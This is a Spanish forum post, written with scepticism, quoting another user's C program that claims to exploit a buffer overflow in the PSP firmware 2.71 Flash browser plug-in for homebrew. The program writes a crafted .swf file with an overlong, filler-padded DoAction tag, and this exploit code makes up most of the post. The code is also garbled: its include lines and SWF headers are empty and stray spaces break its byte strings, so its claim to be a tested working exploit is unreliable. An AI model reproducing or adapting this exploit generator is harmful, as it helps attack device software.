Supongo que como siempre al final resultará inutil o un fake, pero en pspudates están con esto:
Es (se supone) un "hello world" en 2.71 mediante un exploit en el flash player.
Originally Posted by coder X
Hello Coder X here, Below it the code for an Bufferoverrun exploite i found using the PSP 2.71 flash browser plug-in
Any one intrested in using the exploite and making a e-loader, please give me credit for the exploite, and contact me, we can work togeter to make it.
This is a tested exploite and does work, so i hope you all enjoy, 2.71 uses Welcome to Homebrew
I will be working on a bin for the program so expect tetris or something out in a bit.
/*
* ************************* ************************* *********
* PSP FW 2.71 Overflow Test
************************* ************************* ***********
*/
#include
#include
#include
void usage(char* file);
/*
...
*/
char SWF[] = "";
char SWF_[] = "";
//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";
//[DoAction] 1 pwn j00r 455!
char DoAction[] =
"\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";
//[ShowFrame]
char ShowFrame[] = "\x40\x00";
//[End]
char End[] = "\x00\x00";
int main(int argc,char* argv[])
{
system("cls");
printf("\n* ************************* ************************* ******* *");
printf("\n* Sony you can kiss my ass, 2.71 Welcome to Homebrew *");
printf("\n* ************************* ************************* ******* *");
if ( argc!=2 )
{
usage(argv[0]);
}
FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("\nFile couldn't open!");
exit(1);
}
printf("\n\nWriting crafted .swf file . . .");
fwrite(SWF,1,sizeof(SWF), f);
fwrite("\n",1,1,f);
fwrite(SetBackgroundColor ,1,sizeof(SetBackgroundCo lor),f);
fwrite("\n",1,1,f);
fwrite(DoAction,1,sizeof( DoAction),f);
fwrite("\n",1,1,f);
fwrite(ShowFrame,1,sizeof (ShowFrame),f);
fwrite("\n",1,1,f);
fwrite(End,1,sizeof(End), f);
fwrite("\n",1,1,f);
fwrite(SWF_,1,sizeof(SWF_ ),f);
printf("\nFile created successfully!");
printf("\nFilename: %s",argv[1]);
return 0;
}
void usage(char* file)
{
printf("\n\n");
printf("\n%s ",file);
printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
exit(1);
}